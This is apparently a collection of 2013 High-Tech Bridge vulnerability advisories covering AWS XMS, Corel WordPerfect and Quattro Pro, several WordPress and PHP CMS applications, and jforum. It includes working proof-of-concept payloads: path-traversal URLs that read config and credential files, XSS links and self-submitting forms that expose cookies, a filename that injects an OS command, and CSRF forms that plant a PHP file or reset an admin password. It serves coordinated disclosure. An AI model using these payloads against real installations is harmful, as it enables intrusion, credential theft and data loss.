<h5>This proof of concepts creates an arbitrary file in a system [Windows 7, SP1 with IE 9.0] by leveraging the McHealthCheck.dll ActiveX module and the method "Save()":</h5>
<object classid='clsid:24565A99-ADDA-47B9-9E86-3C4C3360E256' id='target'></object>
<input type="button" value="Boom!" language="VBScript" OnClick="CreateArbitraryFile()">

<script language="VBScript">
sub CreateArbitraryFile()
arg1="FilePath\File_name_to_corrupt_or_create"
target.Save arg1
End Sub

</script>
</html>

[HTB23147]: Path Traversal in AWS XMS

Wed, 27 Mar 2013 00:00:00 +0100

Product: AWS XMS v2.5
Vulnerability Type: Path Traversal [CWE-22]
Risk level: Medium
Creater: http://www.aws-dms.com
Vendor Notification: 2013-03-06 13:51:31
Public Disclosure: March 27, 2013
CVE Reference: CVE-2013-2474
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered path traversal vulnerability in AWS XMS, which can be exploited to read contents of arbitrary files.

1) Path Traversal in AWS XMS: CVE-2013-2474

The vulnerability exists due to insufficient filtration of "what" HTTP GET parameter passed to "/importer.php" script before using it in PHP "file()" function. A remote attacker can read contents of arbitrary files on the target system.

The vulnerable script sets "text/javascript" Content-Type for the output data, which makes exploitation of the vulnerability via a web browser inconvenient. Exploitation via telnet or wget utilities is easier.

The following PoC (Proof of Concept) code uses wget utility to download source code of "/default.php" file, which contains application configuration data and administrator’s credentials:

wget http://[host]/importer.php?what=defaults.php%00.js

To bypass protections against NULL-byte injection (implemented in PHP 5.3.4 and later versions) or enabled "magic_quotes_gpc", alternative techniques based on path normalization and length restrictions can be used.

The second PoC code uses a large amount of '/' symbols (4096 is sufficient for the majority of platforms) to bypass the restrictions and get source code of the "/default.php" file:

wget http://[host]/importer.php?what=defaults.php///////...//////.js

[HTB23114]: Untrusted Pointer Dereference Vulnerability in Corel WordPerfect X6

Thu, 07 Mar 2013 00:00:00 +0100

Product: Corel WordPerfect X6 Standard Edition v16.0.0.388, other versions may be also affected
Vulnerability Type: Untrusted Pointer Dereference [CWE-822]
Risk level: Low
Creater: Corel Corporation
Vendor Notification: 2012-09-12 14:09:06
Public Disclosure: March 7, 2013
CVE Reference: CVE-2012-4900
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:N/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered an untrusted pointer dereference vulnerability in Corel WordPerfect. Opening of a malicious WPD (WordPerfect Document) causes immediate application crash, resulting in a loss of all unsaved current application data of the user.

1) Untrusted Pointer Dereference Vulnerability in Corel WordPerfect X6: CVE-2012-4900

The very beginning of the crash occurs within the WPWIN16.DLL module in the STARTAPP function when the application attempts to call the STRNICMP procedure in the MSVCR80 module. Due to a specially crafted WPD file and as a result of the stack modification, it is possible to partially control the destination pointer [EDI] inherited by the STRNICMP function.

Crash details:
eax=0225a848 ebx=0224ce48 ecx=00000008 edx=00000008 esi=0224ce48 edi=0225a848
eip=69fe74bc esp=0012ee80 ebp=0012ee9c iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010203

MSVCR80!strnicmp+0x261:
69fe74bc f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
Exception Faulting Address: 0x225a848
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation

Stack Trace:
MSVCR80!strnicmp+0x261
wpwin16!StartApp+0xbdc8e
wpwin16!StartApp+0xc5ef1
wpwin16!StartApp+0xc67f3
wpwin16!StartApp+0xc0758
ntdll!RtlAllocateHeap+0x211
ntdll!RtlAllocateHeap+0xac
ntdll!RtlTryEnterCriticalSection+0x9ba
ntdll!RtlTryEnterCriticalSection+0x98f
WStr16!WPwmemcpy+0x1e
PFIT160!wread+0xe1
MSVCR80!strnicmp+0x135
wpwin16!StartApp+0xdfe00

In order to exploit the vulnerability remotely the attacker has to send a malicious file to the victim by email. In a web-based scenario, the attacker can host a malicious file on a website or WebDav share and trick the victim to download and open the file.

As a PoC (Proof of Concept) a file "PoC.wpd" is provided, which causes immediate application crash. Password for archive: k2-0xj)Dhfjhlfs

[HTB23112]: Multiple NULL Pointer Dereference Vulnerabilities in Corel Quattro Pro X6

Thu, 07 Mar 2013 00:00:00 +0100

Product: Corel Quattro Pro X6 Standard Edition v16.0.0.388, other versions may be also affected
Vulnerability Type: NULL Pointer Dereference [CWE-476]
Risk level: Low
Creater: Corel Corporation
Vendor Notification: 2012-08-27 12:00:00
Public Disclosure: March 7, 2013
CVE Reference: CVE-2012-4728
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:N/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered two null pointer dereference vulnerabilities in Corel Quattro Pro. Opening of a malicious QPW (Quattro Pro Spreadsheet) document causes immediate application crash, resulting in a loss of all unsaved current application data of the user.

1) Multiple Null Pointer Dereference vulnerabilities in Corel Quattro Pro X6: CVE-2012-4728

1.1 The first crash occurs in the QPW160.dll module at the QProGetNotebookWindowHandle function when the application tries to move a value to a corrupted pointer. Due to the malformed QPW file the EDX register will contain a null value. This destination pointer used to store the value of the AX register will be therefore invalid, which causes the application to crash instantly.

Crash details:
eax=04b11e00 ebx=00007020 ecx=000000f5 edx=00000000 esi=00000000 edi=04b10048
eip=202e5925 esp=0012d9b0 ebp=0012e8e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

QPW160!QProGetNotebookWindowHandle+0x23cb85:
202e5925 6689048a mov word ptr [edx+ecx*4],ax ds:0023:000003d4=????

1.2 The second crash occurs in the QPW160.dll module at the Ordinal132 function when the application tries to copy a buffer from ESI to EDI. Due to the abnormal QPW file the EDI register is not properly initialized, which causes the dereference of the EDI pointer to a null value. After this, the code is not able to catch the issue due to a lack of exception handling, forcing the application to crash immediately.

Crash details:
eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=04ca6c40 edi=00000000
eip=20005a7d esp=0012d97c ebp=0012d988 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213

QPW160!Ordinal132+0x5a7d: 20005a7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

In order to exploit these vulnerabilities remotely, the attacker has to send a malicious file to the victim by email. In a web-based scenario, the attacker can host a malicious file on a website or WebDav share and trick the victim to download and open the file.

As a PoC (Proof of Concept) two files "1.qpw" and "2.qpw" are provided, which cause immediate application crash. Password for archive: ph77=!3=L

[HTB23139]: Multiple XSS vulnerabilities in Events Manager WordPress plugin

Wed, 06 Mar 2013 00:00:00 +0100

Product: Events Manager WordPress plugin v5.3.3
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk level: Medium
Creater: Marcus Sykes
Vendor Notification: 2013-01-16 12:00:10
Public Disclosure: March 6, 2013
CVE Reference: CVE-2013-1407
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in Events Manager WordPress plugin, which can be exploited to perform Cross-Site Scripting attacks.

1) Multiple XSS vulnerabilities in Events Manager WordPress plugin: CVE-2013-1407

1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "scope" HTTP GET parameter passed to "/index.php" script. A remote attacker can trick user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display user's cookies:

http://[host]/?page_id=42&scope=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E,%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to insufficient filtration of user-supplied data in "_wpnonce" HTTP GET parameter passed to "/wp-admin/edit.php" script. A remote attacker can trick logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC (Proof-of-Concept) below uses "alert()" JavaScript function to display administrator's cookies:

http://[host]/wp-admin/edit.php?post_type=event&page=events-manager-bookings&_wpnonce=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.3 The vulnerabilities exist due to insufficient filtration of user-supplied data in "user_name", "dbem_phone" and "user_email" HTTP GET parameters passed to "/index.php" script. A remote attacker can trick user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoCs (Proof-of-Concept) below use the "alert()" JavaScript function to display user's cookies:

http://[host]/?event=1&user_name=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/?event=1&dbem_phone=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/?event=1&user_email=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.4 The vulnerability exists due to insufficient filtration of user-supplied data in "booking_comment" HTTP POST parameter passed to "/index.php" script. A remote attacker can trick user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display user's cookies:

<form action="http://[host]/?event=1" method="post" name="askform">
<input type="hidden" name="booking_comment" value="</textarea><script>alert(document.cookie);</script>"/>
<input type="submit" id="btn">
</form>

Vulnerabilities 1.3 and 1.4 will work only against unauthorized (not logged-in) users. Successful exploitation of these vulnerabilities also requires that event with id = 1 has turned-on registration.

[HTB23145]: OS Command Injection in CosCms

Wed, 06 Mar 2013 00:00:00 +0100

Product: CosCms v1.721
Vulnerability Type: OS Command Injection [CWE-78]
Risk level: High
Creater: http://www.coscms.org
Vendor Notification: 2013-02-13 12:03:23
Public Disclosure: March 6, 2013
CVE Reference: CVE-2013-1668
CVSSv2 Base Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.

1) OS Command Injection in CosCms: CVE-2013-1668

Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.

The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:

POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970

-----------------------------21456260222104
Content-Disposition: form-data; name="title"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"

-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"

511ad0922b50f
-----------------------------21456260222104
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream

1

-----------------------------21456260222104
Content-Disposition: form-data; name="submit"

Update
-----------------------------21456260222104--

Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.

[HTB23144]: Multiple Vulnerabilities in Piwigo

Wed, 27 Feb 2013 00:00:00 +0100

Product: Piwigo v2.4.6
Vulnerability Type: Cross-Site Request Forgery [CWE-352], Path Traversal [CWE-22]
Risk level: High
Creater: Piwigo project
Vendor Notification: 2013-02-06 12:14:31
Public Disclosure: February 27, 2013
CVE References: CVE-2013-1468, CVE-2013-1469
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 4 (AV:N/AC:H/Au:N/C:P/I:N/A:P)
Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Piwigo, which can be exploited to perform Сross-Site Request Forgery and Path Traversal attacks.

1) Сross-Site Request Forgery (CSRF) in Piwigo: CVE-2013-1468

The vulnerability exists due to insufficient verification of the HTTP request origin in "/admin.php" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create arbitrary PHP file on the remote server.

The following PoC (Proof of Concept) code creates a file "file.php" containing "phpinfo();", which can be later accessed via the http://[host]/file.php URL:

<form action="http://[host]/admin.php?page=plugin-LocalFilesEditor" method="post" name="f1">
<input type="hidden" name='edited_file' value='file.php'>
<input type="hidden" name='text' value=' phpinfo(); '>
<input type="hidden" name='submit' value='1'>
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

Successful exploitation requires that the "LocalFiles Editor" plugin is enabled (disabled by default).

2) Path Traversal in Piwigo: CVE-2013-1469

The vulnerability exists due to insufficient filtration of user-supplied input in "dl" HTTP GET parameter passed to "/install.php" script. The script is present on the system after installation by default, and can be accessed by attacker without any restrictions. The vulnerable code is:

if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
{
$filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
...
echo file_get_contents($filename);
...
}

However, the vulnerability may be exploited only if PHP 'file_exists' function returns 'true' both for "C:/boot.ini" (or any existing file) and for "C:/any_non_existing_directory/../boot.ini" (in our case the non-existing directory in path is "/pwg_/"). This works in default PHP installation on Windows platform (tested on Windows 7, PHP 5.3.x). In case of successful exploitation remote attacker can read content of arbitrary files on the vulnerable system.
Important: after being read the file is deleted (if web server has write permission to it).

The following PoC (Proof of Concept) code will display and delete the application's configuration file:

http://piwigo/install.php?dl=/../../local/config/database.inc.php

[HTB23143]: Cross-Site Scripting (XSS) in Geeklog

Wed, 27 Feb 2013 00:00:00 +0100

Product: Geeklog v1.8.2
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk level: Medium
Creater: http://www.geeklog.net
Vendor Notification: 2013-02-06 11:48:53
Public Disclosure: February 27, 2013
CVE Reference: CVE-2013-1470
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered vulnerability in Geeklog that can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in Geeklog: CVE-2013-1470

The vulnerability exists due to insufficient filtration of user-supplied data in "calendar_type" HTTP POST parameter passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display user's cookies:

<form action="http://[host]/submit.php?type=calendar" method="post">
<input type="hidden" name="mode" value="Submit">
<input type="hidden" name="calendar_type" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>

[HTB23142]: Multiple Cross-Site Scripting (XSS) in glFusion

Wed, 20 Feb 2013 00:00:00 +0100

Product: glFusion v1.2.2
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk level: Medium
Creater: http://www.glfusion.org/
Vendor Notification: 2013-01-30 13:05:55
Public Disclosure: February 20, 2013
CVE Reference: CVE-2013-1466
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.

glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .

1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466

1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'
html += '<input type="hidden" name="uid" value="2">'
html += '<input type="hidden" name="author" value="author">'
html += '<input type="hidden" name="message" value="1">'
html += '<input type="hidden" name="message_html" value="1">'
html += '<input type="hidden" name="authoremail" value="mail@mail.com">'
html += '<input type="hidden" name="postmode" value="html">'
html += '<input type="hidden" name="what" value="contact">'
html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>

1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="savecal" value="Submit">'
html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>

1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/links/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(1);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(2);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>

1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/

[HTB23134]: Multiple Vulnerabilities in jforum

Wed, 13 Feb 2013 00:00:00 +0100

Product: jforum v2.1.9
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
Risk level: Medium
Creater: jforum.net
Vendor Notification: 2012-12-26 15:49:38
Public Disclosure: February 13, 2013
CVE References: CVE-2012-6445, CVE-2012-6446
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in jforum, which can be exploited to perform Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks.

1) Multiple Cross-Site scripting (XSS) vulnerabilities in jforum: CVE-2012-6445

1.1 The vulnerability exists due to insufficient filtration of user-supplied input in "start" HTTP POST parameter in "jforum.page" script when sending any message. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.

Malicious webpage example:

<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="action" value="insertSave" />
<input type="hidden" name="module" value="posts" />
<input type="hidden" name="preview" value="0"/>
<input type="hidden" name="forum_id" value="1" />
<input type="hidden" name="start" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="topic_id" value="2" />
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

1.2 The vulnerability exists due to insufficient filtration of user-supplied input in "action" HTTP POST parameter in "jforum.page" script when posting a reply. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.

Malicious webpage example:

<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="module" value="posts" />
<input type="hidden" name="disable_html" value="1" />
<input type="hidden" name="forum_id" value="1" />
<input type="hidden" name="message" value="123" />
<input type="hidden" name="quick" value="1" />
<input type="hidden" name="start" value="0" />
<input type="hidden" name="topic_id" value="2" />
<input type="hidden" name="action" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

1.3 The vulnerability exists due insufficient filtration of user-supplied input in "returnUrl", "forum_id" and "topic_id" HTTP POST parameters in "jforum.page" script. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in administrator's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.

Malicious webpage example:

<form action="http://[host]/jforum.page" method="post"name="f1" >
<input type="hidden" name="action" value="doModeration" />
<input type="hidden" name="log_description" value="" />
<input type="hidden" name="log_type" value="0" />
<input type="hidden" name="module" value="moderation" />
<input type="hidden" name="topicMove" value="1" />
<input type="hidden" name="returnUrl" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="forum_id" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="topic_id" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
<script>
document.f1.submit();
</script>
</form>

2) Сross-Site Request Forgery (CSRF) in jforum: CVE-2012-6446

2.1 The vulnerability exists due to insufficient verification of the HTTP request origin in "jforum.page" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and change administrator's password.

PoC (Proof-of-Concept) below will change password to "password" for user with id = 2 (default administrator's ID):

<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="action" value="editSave" />
<input type="hidden" name="module" value="adminUsers" />
<input type="hidden" name="user_id" value="2" />
<input type="hidden" name="username" value="username" />
<input type="hidden" name="email" value="mail@mail.com" />
<input type="hidden" name="new_password" value="password" />
<input type="hidden" name="password_confirm" value="password" />
<input type="hidden" name="viewemail" value="0" />
<input type="hidden" name="hideonline" value="0" />
<input type="hidden" name="notifyreply" value="1" />
<input type="hidden" name="notify_always" value="0" />
<input type="hidden" name="notify_text" value="0" />
<input type="hidden" name="notifypm" value="1" />
<input type="hidden" name="attachsig" value="1" />
<input type="hidden" name="allowhtml" value="1" />
<input type="hidden" name="allowbbcode" value="1" />
<input type="hidden" name="allowsmilies" value="1" />
<input type="hidden" name="rank_special" value="-1" />
<input type="submit" name="submit" value="Submit">
</form>
<script>
document.f1.submit();
</script>